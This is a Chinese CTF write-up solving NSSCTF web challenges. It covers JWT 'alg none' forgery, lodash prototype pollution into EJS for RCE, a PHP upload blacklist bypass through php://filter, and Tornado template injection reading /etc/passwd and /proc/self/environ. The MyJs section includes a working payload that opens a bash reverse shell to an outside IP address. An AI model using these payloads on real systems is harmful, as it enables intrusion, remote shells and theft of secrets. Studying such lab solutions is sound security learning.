所以王原的代价是?----writewp
WEB
(遗憾,差点AKweb,最后一个真的做不了一点,还是太菜了!!!!!)
MyJs
首页一个登录框,右键页面源码,看到提示访问/source路由,得到源码:
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"}); //jwt伪造
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') { //需要我们登录nss账户
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body); //loadash原型链污染和RCE
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
代码审计一下,发现存在/login,/register,/update路由,这里采用jwt加密,注册后会给出一个token,登录时需要验证这个token来登录,这里就很明显存在Node.js中JWT认证缺陷的绕过
参考一下这篇文章:https://qftm.github.io/2020/04/19/bypass-nodejs-jwt/#toc-heading-7
那么思路很明确了,我们先随便注册一个账号,拿到一个token:
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJneG5neG5neG4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY5MzExMDQ2NH0.iUOigYw6d7ItpqSiVqDYWduXVSS64kCA70CIp1g7fjA
拿到jwt.io中解密一下,最终构造成下面的形式:
{"typ":"JWT","alg":"none"}.{"secretid":[],"username":"nss","password":"123456","iat":1693107321}
然后分段base64加密一下,拿到token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTMxMDczMjF9Cg.
回到/login路由,按照设置的账号密码登入nss账户,成功:
然后我们就可以绕过update路由的限制,进入下面的lodash.merge中,这里存在原型链污染和RCE,
参考文章:https://www.anquanke.com/post/id/248170#h3-9
这里运用lodash和ejs结合的方式进行RCE,我们直接掏模板rce:
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.203.166/2333 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
抓包,传参:
重新访问下home路由,弹shell成功:
查看环境变量,得到flag。
php签到
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
这里对后缀进行了黑名单过滤,看到是pathinfo函数,可以采用.php/.的方式绕过,然后后面file_put_contents方式写入文件,会对/.进行转义,所以直接运用php://filter的方式绕过:
php://filter/write=convert.base64-decode/resource=1.php/.
#文件名尽量选短一点,不然file_put_contents有长度限制,会报错
构造一个文件上传的数据包,对上述payload进行url编码,填入filename中,传入的一句话用base64编码一下:
上传成功,访问一下:
成功!
MyBox
非预期,直接file:///proc/1/environ读取环境变量,拿到flag~~~~
MyHurricane
进入就给出了源码
import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)
def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')
if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()
一个Tornado模板注入,有个黑名单过滤,post传参ssti可以进行模板注入:
参考文章:Tornado模板注入 - 先知社区 (aliyun.com)
拿个文件读取的payload:
{% include "/etc/passwd" %}
发现过滤了""符号,但是其实这里不用加双引号也可以进行文件读取,直接读环境变量:
ssti={% include /proc/self/environ %}
2周年快乐!
tj✌脑洞真大捏,这题web中最后一个打出来的~~~打开网页中终端,输入命令:curl https://www.nsssctf.cn/flag